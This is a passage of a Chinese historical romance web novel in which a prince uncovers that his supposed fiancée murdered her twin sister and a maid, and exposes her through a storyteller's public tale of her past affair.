拎着桌上的茶壶,谢婉宁甩手便将茶壶,砸在了知鸢头上。 “你既然知道这些事,一早怎么不说?你可知道,王爷今日说了,要在十五那日求皇上赐婚,娶我做齐王妃的,可因为我把日子弄错了,他恼了我,这婚事又成了没谱的事,你害惨我了,你知不知道?” “小姐恕罪。” 知鸢顾不得额头上的血,忙跪下来求饶。 哪怕她心里想说,慕枭自己把日子说错了,就是故意的,就是在试探谢婉宁。 试探,是因为起疑。 而慕枭那种人,对一个心头尚且存疑的女人,是不可能说什么赐婚,说什么成婚的。 婚事,大约从一开始就是个坑。 可谢婉宁不会信。 也不会听。 知鸢也不敢说,她现在已经疼的麻木了,她怕再惹恼了谢婉宁,会落得更惨的下场。 可饶是如此,谢婉宁依旧不解气,她的骂声也停不下来。 “恕罪恕罪,你害了我,还舔着脸来让我恕罪,你以为你是谁?要不是念着你曾经伺候我,有几分旧情,你早就该跟那些人一样,下去陪那个贱人了。你不知感恩,还这般害我,你万死难辞其咎,你死有余辜。” 谢婉宁心头杀气沸腾,只差一步,她就能嫁给慕枭,成为齐王妃了。 她真的不甘心。 尤其是知鸢明明什么都知道。 她为何不说? 哪怕只是提前一个时辰,哪怕只是随口提一嘴,她也会记在心上的,也不会出今日的事,闹成现在这样。 她可以再想办法去哄慕枭,可知鸢—— 不能再留了。 跟了谢晚棠那个灾星的人,身上都是带着灾,带着晦气的,留在她身边,除了给她带来灾祸,带来麻烦,毫无用处。 一个个的,全都该死。 眼下,慕枭已经对她不满了,等冷静下来,指不定更会起疑。 知鸢是少有的知情人,死了,也更能守住秘密。 谢婉宁满心算计。 她看着知鸢,眸光阴冷。 半晌,她才柔声开口,“行了,我也是因为婚事上出了岔子,才一时忍不住,失手伤了你的,你也别记恨我。” “奴婢不敢。” “敢与不敢都不要紧,要紧的是,你要知道,咱们是一条船上的人,不能离了心。你知道什么关于王爷,或者关于她的事,还是要告诉我,越详细越好。你要明白,只有我的日子好过了,你的日子才能好过。” 这些话,知鸢是一个字也不信的。 不过她嘴上倒是乖巧。 “是,奴婢省的。” 谢婉宁见状,挥了挥手,“好了,下去吧,把伤口处理处理,别让人看出端倪来。另外,等你把伤口处理好了,去后院的盈风湖看看,瞧瞧冰化开了没有?除夕那日,我砸了王爷的锦鲤,今儿又惹了他不快,若是盈风湖冰化开了,捞两条锦鲤上来,我也好去哄哄王爷。” “是,奴婢明白。” 知鸢应声,踉跄着起身退了下去。 知鸢走后没多久,谢婉宁就叫了个小厮进来,也是从永昌侯府带来的,是谢詹杭调教过的,足够可信。 谢婉宁也不兜圈子,“你去盈风湖,帮我办件事!” …… 书房。 慕枭从练武场回来,就坐在书房里,看从前他画的那两幅画像。 没有任何的证据,但是,他心里就是有种不好的预感。 他隐隐有种猜测。 只是,他不愿承认,也不敢细想。 慕枭心情沉重,他半晌都不动一下,整个人静默的就像是一尊雕塑,毫无生气。 大约半个时辰后,慕枭听到书房外,传来一阵急促的脚步声,紧接着,天晴的声音,就从外面传了进来。 “王爷,属下有要事回禀,很急。” 慕枭心咯噔一下。 天晴跟着他许多年了,可能被他称之为“很急”的事,少之又少。 想着自己让天晴调查的事,慕枭急忙开口。 “进。” 听到这话,天晴推门从外面进来。 快步到慕枭身边,天晴开口,“王爷,咱们的人传了消息过来,昨夜,谢詹杭在永昌侯府有动作。” “细说。” “昨夜,谢詹杭带了两个死士,从宁和园的红梅树下,挖出了一具尸体。不知道那尸体具体埋了多久了,但他们把尸体挖出来后,毁了尸体,还分了尸,将头颅跟身体分送了两处,准备焚尸。咱们的人赶在他们动手前,把尸体劫下来了。” 红梅树下—— 慕枭所有的注意力,几乎都被这几个字吸引了。 他想起北上回来,到永昌侯府去接谢婉宁和孩子的时候,他见过那树红梅。 当时他不由自主的在那停下,有些移不动脚步。 当时他还夸那树红梅开得好。 那时候谢婉宁说,不久前刚给红梅树施过肥,或许是肥料好。 肥料? 尸体? 心里边想着这点事,又想着这阵子谢婉宁的诸多变化,想着他让天晴传假消息给谢詹杭做饵,谢詹杭急于遗尸……这些事混杂在一起,慕枭心里原本三分的猜测,已经升到了七八分。 或许,现在的谢婉宁,早已经不是从前的那一个了。 心如坠冰湖。 慕枭腾的一下站了起来,他眸光暗沉,身子都在抖。 “尸体在哪?” 第31章 非故人 景溪别院。 这是慕枭名下的私人别院,距离京城不过十三里。 这儿位置优越,风景也好,尤其是后山上的石榴树,一片一片的,待到石榴花开的时候,红花吐蕊,景色极美。 这里距离京基大营也不算远。 早前的时候,偶尔在京基大营忙的厉害,不想回府,慕枭就会来这边休息。 这两年倒是来的少了。 慕枭带着天晴到这里的时候,天明正在这边等着。 一见慕枭来,他便迎了上来。 “参见王爷。” “尸体呢?” 听着询问,天明也不耽搁,他即刻带着慕枭去了别院的锦溪园。 时间太过紧张,他也没有来得及准备棺木,尸体就放在担架上,上面蒙了一层白布遮掩着。 慕枭过去伸手将白布掀开。 征战杀伐多年,慕枭是从尸山血海中走过来的,他见过的尸体何其多? 可这一瞬,他的心,还是忍不住跟着颤了颤。 头颅和身体被分解,脸上整张面皮都被揭了下来,许是下刀的人动作不利索,她脸上的肉也被毁的烂糟糟的,面目全非。至于身体,则被分解成了几部分,表层的皮肉也都被毁了,大约有些地方还用火烧过,黑乎乎的。 慕枭眸子紧缩。 谢詹杭到底在怕什么,以至于他要对一具被埋了不知多久的尸体如此? 如此残忍! 是……他想的那样吗? 心里想着,慕枭一步步的上前,他在担架前蹲下,细细查看。 尸体被毁的太厉害了,根本看不出原本的样子,慕枭就是想查一查,也无从下手。 可他心里就是有种感觉—— 这才是他的“晚晚。” 是守在他身边三年,为他生下孩子的“谢婉宁”! 而府里的,不过是另外一个女人,是与他的“晚晚”长相相似的替身而已。他之所以那般排斥她的亲近,不是他薄情变了心,而是她……非故人! 慕枭眼睛腥红,他陡然转头,看向天明、天晴,“查到尸体的时候,可还有其他发现?” “没有。” 天明、天晴摇头。 慕枭闻声,眼睛微微眯了眯,杀气沸腾。 “天晴,你去查永昌侯府,重点查十九年前,谢夫人生产,生下谢婉宁时候的事。” 既有猜测,他就要去验证。 这世上人那么多,会有人相似,这不奇怪。 可是,能相似到从脸到身材,几乎没有差别,让人难以分辨真假,这就有些奇怪了,这不可能只是巧合。 尤其是谢詹杭对现在的谢婉宁,在意的厉害,为了给她搏宠,甚至不惜拿出了盐运上的贪腐名单,帮他立功。 反倒是对从前那个,他不怎么上心。 这很耐人寻味。 慕枭怀疑,如果真的如他所想,那问题必定就出在她们的身世上。 十有八九,当初谢夫人生下的是双生子,只是因为什么原因,对外宣称只生了一个,谢家只有一位小姐。 这么想着,慕枭随即又吩咐。 “另外,我北上的那三个月,永昌侯府到底发生了什么,要再继续查,催着九重暝楼快一点,两日内就要有结果。要是他们做不到,那就全都滚出九重暝楼,我不养废物。” “是。” “天明,你去把知鸢给我带到别院来,我要见她。” 谢婉宁身边的人,都被换过了。 天晴曾经说过,那是因为那些人不知道因为什么事,冲撞了谢詹杭,全部被谢詹杭杖杀了。 现在看来,那分明就是灭口。 知鸢是唯一活下来的人,她肯定知道些什么。 问她,最直接。 “是。” 天明应声,随着天晴出去。 慕枭则坐在担架边上,看着那具被毁的破烂不堪的尸骨,泪眼朦胧。 他脑海里,想着过往三年,他跟“谢婉宁”相处的种种。 他们练字、下棋、烹茶、看书,他教,“谢婉宁”学,偷得浮生半日闲,娴静又安然。他们骑马、射箭、看烟火、游山水,他做,“谢婉宁”陪着,潇洒恣意,多姿多彩。那样的日子,是过去那些年,他从未体会过的。 那一切,仿佛都只是昨天的事。 可现在,却怕是什么都变了。 床笫之上,她娇、她羞、她媚,犹在眼前。 可现在,却怕是只剩一具尸骨了。 她都经历了什么? 慕枭心里寻思着这些事,只觉得心一揪一揪的,痛的要命。明明还没有确定什么,可他心里就是难受,不能自已。 陷入在自己的思绪里,许久都回不过神来。 还是天晴的声音将他拉回来的。 天晴才出去,接到京中传信,就来慕枭这,他沉声回禀。 “王爷,你私自出了齐王府,被大皇子的人盯上了,刚刚京中传来消息,大皇子那头已经有动静了,御史台的人,还有几位朝中老臣,都已经在进宫的路上了。” 听着这话,慕枭也不意外,他也不在乎。 纵使满殿朝臣对他口诛笔伐,今日,他也一定是要出齐王府,来景溪别院的。 他不后悔。 没看天晴,慕枭只是目光灼灼的看着尸骨,甚至没有抬头。 “让他们弹劾,入夜之后,再把证据放出去。” 这一场博弈该结束了。 齐王府的封禁,也该解除了! 明白慕枭的意思,天晴快速离开,独留下慕枭,在房里守着那具尸体,一守就是两个时辰。 时间一点点流逝,每一瞬,对于慕枭而言都是煎熬。 慕枭在等天明,等他带知鸢来! 带真相来! 可是,一连两个时辰,齐王府和景溪别院都可以跑几个来回了,依旧没见天明的影子。 天明不是拖拉的人,他耽搁了,那就是有意外状况。 怕是情况不妙。 心里寻思着,慕枭索性也不再等。 让景溪别院的人去准备棺木,将尸体妥善保管好,慕枭骑了马,直接回京,直奔齐王府。 走的时候,他也是冲破了御林军的防守,从正门出的,回来时自也不必遮遮掩掩。 慕枭从正门入。 天明刚好要出去,两个人迎面撞上。 见慕枭回来,天明就知道他一定等急了,他快步到慕枭跟前。 “王爷……” “知鸢人呢?” 听问,天明也不瞒着,他快速道,“回王爷,属下回来的时候,就得了消息,知鸢溺毙在盈风湖了。” “溺毙?” 慕枭呢喃着这两个字,眼神阴翳。 天明点头,“是,属下查看过了,从尸体的状况来看,知鸢的确是溺水而亡的。尤其眼下这个天气,冷的厉害,她落水后,应该挣扎没多久就不行了。” “好端端的,她去盈风湖做什么?” 盈风湖上的冰并未开化,至少还有半掌厚呢,湖上什么都没有,去那做什么? 去了,还落水了,还丢了命…… 慕枭可不信这是巧合。 慕枭的意思天明都懂,也正因为他懂,他才会耽误这么久。 “回王爷,属下已经查过了,是谢小姐让知鸢去盈风湖,看看湖水化了没有,谢小姐想从盈风湖里捞两条锦鲤,送给王爷,没想到知鸢去了就出了事。知鸢出事前后,并没有人瞧见,还是谢小姐久不见知鸢回来,让人去寻,才知道她出了意外的。” 慕枭剑眉微挑。 “确认?” “让知鸢去盈风湖的事,是谢小姐承认的,应该不会有错,至于她具体是怎么出的事,谢小姐又是否知情,尚不好说。” “不好说?” “属下查问了畅晚阁谢小姐的手下,其中有一个叫卫平的人,回话的时候眼神有些闪烁,属下觉得他说的不尽不实的,并不完全可信。只是,他是谢小姐身边的人,谢小姐情绪又不太稳定,属下倒也不好逼的太紧,只得再从其他地方下手。” 一早的时候,慕枭说过,畅晚阁的人归谢婉宁自己管。 天明审问不敢用刑下重手,大约也是因为这。 不过—— 那话,现在不管用了。 慕枭看向天明吩咐,“畅晚阁所有人都抓了,一一审问,可以用刑,生死不论。” “是。” “谢婉宁呢?在畅晚阁?” “是。” 得了回应,慕枭也不耽搁,他直奔畅晚阁…… 第32章 愿无情 畅晚阁。 谢晚棠坐在美人靠上,看着谢婉宁抱着知鸢的尸体,痛哭流涕,她脑海里回荡的,都是刚刚知鸢说的那些话。 知鸢的魂魄被带走时,她哭的不能自已。 她说—— “小姐恕罪,是奴婢对不起你。” “是奴婢助纣为虐,才害的小姐至此的,要是奴婢能早些把这一切,全都告诉王爷,小姐也能早点大仇得报,奴婢也不会死。可见老天有眼,恶有恶报。奴婢是罪有应得,但她谢婉宁也必定不得好死。” “小姐,王爷心里是有小姐的,哪怕他什么都不知道,可自打他从北边回来,他就没碰过谢婉宁。” “王爷那么睿智的人,一定会查到真相的。” “小姐,王爷会为你报仇的。” 知鸢的魂魄轻飘飘的,被带走时,几乎连挣扎的余地都没有,但她的话,她的喊声,却凝重沉重,歇斯底里。 一字一句,深入人心。 谢晚棠知道,慕枭去景溪别院了,她的尸体也早被带去了那边。 她不确定,慕枭是否会认出她,参透真相? 但知鸢有句话或许是对的。 老天有眼! 善恶到头终有报,即便眼下慕枭不知真相,但谢婉宁这般害人,手段这般残忍,她做下的孽,都会成为她欠下的债,总有要还的那一日。青天在上,天理昭昭,她这幅惺惺作态伪装出来的善良柔弱,能骗人一时,却骗不了人一世。 她只管等着就是了。 谢晚棠正想着,就听到门口处传来一阵脚步声。 她转头看过去,就见慕枭带着天明,以及几个府卫,从外面快步走了进来。 她心跳加速。 几乎是下意识的,她飘到慕枭身边。 慕枭是个不喜形于色的人,哪怕心中悲切,他依旧表现的平静,可谢晚棠看得出来,他的眼眶泛着一抹不正常的红。 显然他是哭过的。 “你连个明面上的身份都没有,你死了也不会有人知道,更不会有人为你流一滴眼泪。” 这话,是当初活埋她时,谢婉宁说的。 可事实却不是。 至少,知鸢对她心存愧疚。 至少,慕枭心里惦记着她,也为她难过。 还有她的沈嬷嬷,被谢詹杭关押了三年,这三年里,沈嬷嬷大约也是惦记她,是担心她的。 足够了! 谢晚棠心里想着这些事,这工夫,谢婉宁也瞧见了进门的慕枭。 她放开知鸢,直接跑过来,扑进慕枭怀里。 “王爷……” 哭了太久,谢婉宁声音沙哑。 那样子,倒更衬得她柔弱可人,引人怜惜。 慕枭被谢婉宁拥着,身子僵硬,他本能的抗拒谢婉宁的靠近。 只是,即便他心里早已经有了猜测,可证据没摆在他的面前,他心里到底还存了两分侥幸。 万一呢? 万一他猜错了,根本没有什么两个谢婉宁,没有什么替身呢? 万一谢婉宁只是变了呢? 他宁可谢婉宁是变了,是忘记了,是不爱他了…… 总比没了命好! 这么想着,慕枭的脑海里,不禁又闪过那具尸体,但凡有万分之一的可能,他也不愿那个人,是他的晚晚。 都说他权势滔天,说他运筹帷幄,可生死面前,权势和手腕有何用? 他怕! 慕枭下意识的沉浸在自己的思绪里。 见慕枭不动,谢婉宁大喜。 一早的时候,因为说错了话,被慕枭不喜,眼下正是修复关系的好时候。她的柔弱,就是她的武器,就算是演,她也要演到慕枭心软。 霎时间,谢婉宁的眼泪,比之前更汹涌了不少。 “王爷,知鸢没了,她没了。” “她虽是丫鬟,却是跟着我一起长大的,自打我记事起,她就跟在我身边,在我心里,她就是我姐妹,是我的至亲。” “明明之前还好好的,我就是……就是让她去盈风湖,看看湖面化开没有,看看能不能……能不能捞两条锦鲤,怎么会变成这样?” “都是我的错,王爷,都是我的错。” 慕枭敏锐,谢婉宁怕他看出什么来,索性直接埋头在他胸口,并不看他。 她自顾自的嚎啕。 “为什么要这样?知鸢贴心,她那么好的人,为何要受这般苦?为什么不让我代她受这一遭?呜呜呜……” 谢婉宁泣不成声。 “别哭了。” 按着谢婉宁的肩膀,将她从自己怀里拉出来,慕枭语气淡淡的。 他心里存的那点侥幸,唤不起他心底的温柔。 他对谢婉宁实在温柔不起来。 可谢婉宁却不觉。 “王爷,我该怎么办?我要怎么做才能换知鸢回来?你帮帮我,王爷,你帮帮我好不好?” 谢婉宁哭着哀求,声音里尽是情真意切。 慕枭瞧着,轻轻拍了拍她的肩膀。 “逝者已矣,节哀。” “王爷……” “到底是个下人,死就死了,终究还是你更重要,多注意自己的身子吧。” 慕枭说了一句冷硬的话,算是安慰,之后他便挥了挥手。 天明会意,给几个府卫使了个眼色,府卫见状,一行人即刻上前,直接将在畅晚阁伺候的下人,全部抓了气起来。 看着这一幕,谢婉宁脊背发凉。 “王爷,这是……” “你不用管。” 四个字,答非所问,他根本不多解释。 这工夫,府卫已经带人离开了。 谢婉宁如遭雷击,她看着慕枭,只觉得慕枭可怕的瘆人。他面上没有多少表情,看不出喜怒,他嘴上话少的可怜,安慰也让人觉得疏离,他给人希望,又能在转瞬间,将那点希望撕得粉碎…… 他到底要干什么? 是为了查知鸢的事吗?可之前,天明不是已经问过了? 为何还要带走? 旁人也就罢了,可是卫平……万一他们用刑,卫平熬不住,把实话交代出去了,她该怎么办? 谢婉宁的目光,下意识的往卫平的方向瞟,他脸色惨白。 只一眼,慕枭就知道,谢婉宁并不干净。 而他的晚晚,手不会这么脏。 这么想着,慕枭的心止不住的下沉,他的眼中,也忍不住泛起了一层浅浅的水雾。 根本控制不住。 “王爷……” 谢婉宁再次开口,听到声音,慕枭看向她。 抿了抿唇,慕枭半晌才道。 “晚些时候,齐王府会解封,值得庆祝,到时候我让昌伯到万仙楼订一桌酒菜送过来,咱们庆祝庆祝。” 解封—— 这两个字,吸引了谢婉宁全部的注意力。 解封,也就意味着慕枭没事了,虽然不知道具体是怎么回事,慕枭如何能在那样不利的局面下翻身,可她知道,慕枭平安,齐王府平安,就意味着她还有机会。尤其是一早的时候,慕枭说过要求皇上赐婚,娶她做齐王妃的,一旦实现,她的前程也就稳了。 想着这点事,谢婉宁哪还有心思去想别的? 几个下人而已,被带走就被带走了。 左右都是新换过的人,关于谢晚棠的事,他们一概不知。 至于卫平,纵然卫平受不住刑罚,或许会供出来是她要了知鸢的命,可今日,她在慕枭面前,已经把姐妹情深的戏做足了,慕枭都瞧见了,他也未必会信那些话。 纵使对峙,她也有信心,比之卫平,慕枭能更信她。 这么想着,谢婉宁舒了一口气。 “王爷忠君为国,又洪福齐天,不论是圣上,还是老天爷,都不会亏待了王爷,恭贺王爷。” 慕枭低头看着谢婉宁,眼神灼热。 他勾唇笑了笑。 他的晚晚,不会说洪福齐天,更不会恭维他忠君爱国,她更不会由着他去万仙楼订酒菜。她说过,比起那些酒楼大厨做的饕餮盛宴,她更喜欢自己进小厨房,做些家常小菜,更有家的味道。 家…… 皇家无情,他渴望家的滋味。 可现在回想起来,他的晚晚,似乎更贪恋家的味道。 是他忽略了! 想着,慕枭的笑意更浓了,那不及眼底的笑里,隐隐裹挟着一股杀气,藏风带雨,危机四伏! 第33章 说书人 入夜。 如慕枭所言,齐王府的封禁解除了,外面守着的御林军全部撤走,一个都没留下,府里的人员进出,也再没有限制了。 昌伯按照慕枭的吩咐,去万仙楼订酒菜。 谢婉宁心里高兴。 慕枭调了新人到她身边伺候,她也没什么不适应的,知鸢的死,和那些下人被抓受审,对她并没有多少影响。 她满心满眼都是哄好慕枭,拿下慕枭,让慕枭娶她。 使唤小丫鬟伺候她沐浴,又挑选了一件素净的衣裳,谢婉宁对着铜镜梳妆打扮。 都说:要想俏,一身孝。 知鸢说,谢晚棠自来喜欢素雅的打扮,指不定走的就是这个路子。 今儿知鸢刚好没了,她穿的素一点,一来是俏,二来也是彰显她和知鸢姐妹情深,免得慕枭怀疑她。 总归不亏。 谢婉宁心里全是盘算。 她慢悠悠的打扮,等着慕枭过来。 书房。 慕枭坐在书案之后,脸色沉沉,天明就站在他对面。 “王爷,从畅晚阁带出来的人,都已经审问过了,可以确认,知鸢的死是谢小姐吩咐的,动手的人就是卫平,其他人没有参与。” “还有吗?” “目前没有什么有价值的收获了。” 天明丝毫不隐瞒。 “这些人,都是永昌侯新给谢小姐换的,他们跟着谢小姐时间不久,基本上都只是在王府做事,也就是慈恩寺后山那一次,他们参与了一些,其他的倒是没有什么。至于永昌侯府宁和园里的尸体,他们都不知情。” “确定吗?” “动过刑了,属下确认,他们没有人说谎。” 慕枭闻言,抿着唇没有再开口,他只是曲指,一下下的敲击着桌子,眸色沉沉。 天明见状也不敢多言,他缓缓退到了一旁,静静的守着。 其实,慕枭早有猜测。 谢詹杭既然杖杀了那么多人,灭了他们的口,就是下了狠手,做好了善后的。这种情况下,宁和园的事多半不会外传,现在伺候谢婉宁的这些人不知情,也是情理之中的事。 只是,他不免有些失望。 半晌慕枭才看向天明,冲着他挥了挥手。 “退下去吧。” “那……” “暂时不用做什么,再等等。” 虽然从他们口中,问不出什么有价值的信息,但既然人手到了谢婉宁身边,就会成为她害人的爪牙,那暂时就不要让她身边有人了。 剩下的,等天晴那边的调查结果出来了再说。 “是。” 天明应声出去。 这工夫,慕枭也起了身,他出了书房,准备去畅晚阁。 他要去看看,那副和他的“晚晚”如此相似的皮囊下,包裹着的,到底是什么样的牛鬼蛇神,魑魅魍魉? 书房外。 慕枭出来,就见到昌伯急匆匆的过来。 “怎么了?出了何事?” 听着慕枭询问,昌伯站定脚步,他抬手擦了下额上渗出的冷汗,急匆匆的开口。 “王爷,万仙楼顶楼的拍卖宴上,有人点了天灯。” 慕枭疑惑,“这有什么稀奇的?” 万仙楼虽然是酒楼,在京城按规模来看,也还算不上头一份,可是,他背后的东家,却是天启第一富商闵行之。 闵家世代经商,家财万贯,人脉也广,经手的东西也多。 故而,万仙楼顶楼,设有一个拍卖厅。 名家字画、珍奇古玩、古书典籍、天材地宝……但凡是宝贝,都有可能出现在万仙楼。 而有人为了拿到自己想要的宝贝,豪掷千金,点个天灯,也算正常。 光今年就有几次。 不稀奇的。 昌伯爷是见惯了大场面的人,何至于如此? 慕枭盯着昌伯,好奇的紧。 昌伯见状,凑的更近了些,“有人点天灯不稀奇,但稀奇的,是这点天灯的人。” “怎么说?” “今儿这点天灯的人,是天启二十四年的举子。 他出身不高,当年进京赶考时,因为手上拮据,别人忙于行卷结交时,他曾言:胸罗万仞立尘中,自有风云荡壑雄。雷火煅金自成彩,何须攀月耀天公? 因为这诗,当时,他在京中小有名气,被称为小诗仙。 那时候,也有不少人欣赏他的才情和傲骨,就是许多富家千金,也对他心生倾慕。 只是后来他落榜了,就再没消息了。” 一个在三年前,连行卷的银钱都拿不出的寒门学子,却在三年之后,在万仙楼豪掷千金点天灯,这中间有何际遇,的确让人好奇。 慕枭眼睛眯了眯。 “怎么回事?” “王爷,他之所以有点天灯的本钱,是因为一个故事。” “一个故事?” “是。” 昌伯郑重点头,他凑在慕枭耳畔,压低了声音,与他耳语。 慕枭听后,眸子不禁暗了暗。 “昌伯,你去畅晚阁走一趟,就说我今夜有事要忙,就不过去了。告诉她,明儿晌午,我带她去个地方。” “是。” 昌伯应声,转身直奔畅晚阁。 …… 万仙楼。 谢婉宁是临近晌午的时候,被昌伯送过来的。 虽然出了门,可谢婉宁心里并不痛快。 慕枭说昨夜要与她一起用膳,庆祝齐王府解封,结果食言了,说今儿带她出门,却是连面都没露,只让昌伯送她过来,她心里实在舒坦不起来。 可是身边人,都换成了慕枭的人,她连发火都有些拘谨。 只在夜里,躺在床上,她才敢宣泄宣泄。 她心里憋屈。 她脸色,也比平时要冷。 下了马车,裹了裹披风,谢婉宁冷声询问,“昌伯,王爷在哪?何时会过来?” “老奴也不清楚。” “不清楚?” 剜了昌伯一眼,谢婉宁的声调,都提高了两分。 昌伯面色不改,笑着回应。 “老奴是一早接到的吩咐,要老奴送谢小姐过来,至于王爷在忙什么,又何时过来,老奴真的不清楚。不过,顶层的包厢,王爷早已经定好了,今儿虽然没有拍卖,但万仙楼开了说书的场子,故事也挺新鲜的,谢小姐可以过去等等,王爷向来准时,想来不会耽搁太久。” 谢婉宁听着这话,也不好再多说什么,她转身进了万仙楼。 不得不跟过来的谢晚棠,也只得跟上。 只是,谢晚棠心里难受。 昨日,明明慕枭在去过景溪别院之后,情绪有些异常,似是发现了什么,明明他已经让天明带走了畅晚阁的人,对谢婉宁有所怀疑,包括知鸢的死,他也心存疑虑,可是,他却会许诺谢婉宁一起用晚膳,今儿还特意让昌伯相送,带谢婉宁来万仙楼…… 他到底查到了多少? 他这般矛盾的反应,到底是在想什么? 谢晚棠摸不透,她心里乱糟糟的。 跟着谢婉宁,一路上了顶楼的包厢,看着包厢奢华的陈设,以及摆在桌上的精致糕点,她心里更烦。 慕枭……还在意那些真相吗? 她不确定。 谢婉宁看着这包厢,心里倒是舒坦了些。 这个包厢视野开阔,坐在临窗的位置,可以将整个万仙楼的下层尽收眼底,尤其是二层中间圆台的位置,看的更是清楚。 谢婉宁喜欢这。 坐在窗边,谢婉宁拎着茶壶,为自己倒茶。 袅袅茶香氤氲扩散,沁人心脾。 是她喜欢的春风吟。 慕枭果然是在意她的,连她的小习惯,也记得清清楚楚,还让下人这般安排布置,他倒是用心。 若是在房事上,也能让她顺心如意,就更好了。 心里想着,谢婉宁低头品茗,得意又享受。 这时候,她就听到一阵欢呼叫好的声音,想着昌伯说的,万仙楼开了说书的场子,故事新鲜,她估摸着是要开始了,她忙抬头,顺着窗子看向下面。 只见说书人,缓步走上二层圆台。 瞧着他的脸,只一眼,谢婉宁的脸色,就止不住的发白,血色全无…… 第34章 尽风流 “怎么会是他?” 谢婉宁低声呢喃,心几乎跳到了嗓子眼。 瞧着谢婉宁脸色有异,谢晚棠忙飘到窗边上,也看向下面。 说书人穿着一身烟灰色锦袍,腰间坠着一块白玉同心佩,他手中拿着一把折扇,站在那,身姿挺拔,浑身透着一股浓郁的书卷气,自有一股君子如玉的感觉。折扇轻摇,眉目如画,又透着无尽的风流。 谢晚棠确认自己没见过他。 但是,光瞧谢婉宁那脸色,谢晚棠也知道,她一定认识这个说书人,而且关系匪浅。 三年前,谢婉宁在得知慕枭遇刺受伤,被太医断言再无站起来的可能时,她拒绝谢詹杭的安排,不肯进齐王府,她直接逃了。 那时候,她身边也是有个男人的。 算是与人私奔。 谢晚棠不知道那个男人的任何消息,但是现在,看着圆台上的说书人,她有种感觉—— 这人就是当年跟在谢婉宁身边,与谢婉宁私奔的男人。 “呵!” 谢晚棠忍不住笑出了声。 难怪慕枭会让谢婉宁来万仙楼,原来,他是醉翁之意不在酒。 没有暧昧,谈不上在乎,意也不在用膳,不在独处,不在消遣,慕枭肯定是一早就知道了这个说书人,故意带谢婉宁来的。 这是明晃晃的试探。 谢晚棠想着,就听到楼下,说书人已然开始讲书了。 “书接上回,说那侯府千金与我私奔后,我们就出了京,先到了安阳。聘为妻奔为妾,她倒是甚是自知,丝毫不提成婚的事,每夜只缠着我,极尽欢愉。她爱极了一套精装的避火图,她又善舞,身子柔软,各种旁人难以实现的姿势,她都信手拈来……” “啧!” 谢晚棠听着,忍不住咂舌。 这说的,也太露骨了。 目光忍不住在谢婉宁身上瞟了瞟,谢晚棠恍然明白,为何谢婉宁敢在慈恩寺设局的时候,对自己用药,兵行险着了。 早没了清白,欲念又那般强烈,难怪了! 玩的可真花! 谢晚棠正想着,就听到“砰”的一声,她回过头来看,只见谢婉宁手中的茶盏,脱落掉在地上,摔得粉碎。茶盏中的水,混着茶叶,尽数洒在了她的绣鞋上。 谢婉宁惊得厉害。 她没想到,魏亭澜会公然讲这些,还说的这般直白。 床笫之上,情到浓时,男女欢好,花样百出,那都不过是情动的见证,怎能说与外人听? 当然,这还不是重要的,重要的是,不知何时,慕枭来了。 不知道慕枭听到了多少,谢婉宁内心惶恐。 “王……王爷……” 谢婉宁开口,声音都忍不住的发颤,她脊背生寒,她隐隐感觉到,自己被一股杀气包裹着,几乎喘不上来气。 谢晚棠也有些意外。 不过转瞬间,她就笑了出来。 飘到谢婉宁对面坐下,谢晚棠的目光,不断在慕枭和谢婉宁身上回转,她慢悠悠的摩挲着桌上的茶盏,哪怕喝不到一口,她也觉得唇齿留香,茶香醉人。 人逢喜事精神爽,她现在,心里快活极了。 看着谢婉宁,慕枭也笑了笑。 “怎么吓成这样?” “我……” “是被这说书人的故事惊艳到了吗?” 打断谢婉宁的话,不给她开口的机会,慕枭定定的看着她,明明眉眼弯弯,含柔带笑,却又充满了危险。 这话,让谢婉宁不知道该如何接。 而慕枭也不用她回应。 按着谢婉宁的肩膀,强行把她按回到了椅子上,慕枭轻声继续。 “这说书人叫魏亭澜,从前是个举子,颇有几分才气,他说的故事虽然香艳露骨了些,但情节也算跌宕起伏。他一路从南边讲到京城,赚的盆满钵满,昨儿还在万仙楼的拍卖宴上点了天灯,甚是豪气。由此不难想见,他的故事有多好,我们一起听听,这才刚开始呢。” 说着,慕枭也坐了下来。 谢婉宁如坐针毡。 下面,魏亭澜讲了什么,她一个字也听不见了,她脑子里盘旋回荡的,全都是慕枭刚刚说的话。 魏亭澜一路从南边,讲到了京城…… 他怎么可以这样? 当年他落魄,她只是不想与他一起吃苦,过苦日子罢了,他至于这么报复她吗? 他说书接上回,那上回又讲了什么? 侯府千金……他是只说到这种程度吗?确定没有指名道姓吗? 万一呢? 魏亭澜这是要毁了她吗? 越想,谢婉宁就越怕,她小心翼翼的偷瞄慕枭。 慕枭并不是好这种香艳故事的人,突然带她来这,听这种故事,她真怕慕枭是知道了什么,是在故意设局。 谢婉宁心跳如雷,偏这时,慕枭看过来,他们两个人的目光正好撞上。 谢婉宁吓的几乎魂不附体。 “看什么?” 慕枭牵住她的手,淡淡的询问。 谢婉宁本能的摇头,“没……没什么,真的。” “怎么这么紧张?” “我没有。” “没有就好,”慕枭勾唇,“我还以为你是太害羞了呢。” “我……” “这魏亭澜,凭借一个故事,就能大赚,富得流油,可见他才学不俗,是有几分本事的。我还约了他,等一会儿他说完这段书,就会来我们这包厢。听说,他这个故事,还是根据真实经历改编的,三年前,他人在京城,小有名气,说不准还真有名门千金跟了他,一度风流。只是不知道,那女子是谁?本王着实好奇的紧。” 慕枭慢悠悠的说着,他的目光,像是要黏在谢婉宁身上似的。 一旁,谢晚棠差点笑喷了。 逗弄…… 她脑海里,只能想到这两个字。 慕枭这一招,就像是钝刀子割肉,他揣着明白装糊涂,一点点的逗着谢婉宁,凌迟着她的心,让她受尽煎熬。 谢婉宁怕是要受不住了。 谢晚棠正想着,就见谢婉宁挣脱开慕枭的拉扯,腾的一下站了起来。 “王爷,我有些累了,还是先回去吧。” “累了?” “我……昨夜,我等了王爷一夜,几乎没有合眼,现在实在困得厉害,有些撑不住了。而且,这种故事说得好听叫香艳,说的难听就是无耻,不论真假,都是低俗龌龊,不堪入耳。王爷何等清贵之人,也不该让这种不入流的东西,污了王爷的耳。” 理由,谢婉宁找的冠冕堂皇,她极力克制着心头的慌乱,说的也一本正经。 可惜强弩之末,终究是不中用了。 慕枭早就看透了。 “不入流吗?” 拉着谢婉宁的手腕,强迫着她坐下来,透过窗子看向外面。 慕枭压低了声音,笑的邪气。 “可是,昨日他讲的上一段,这不入流的故事的主角,那个无耻龌龊的侯府千金,出自永昌侯府。你告诉本王,他谢詹杭到底有几个女儿?与他魏亭澜缠绵悱恻,一路南下的,是永昌侯府的嫡出千金,那在本王榻上的,又是谁?” 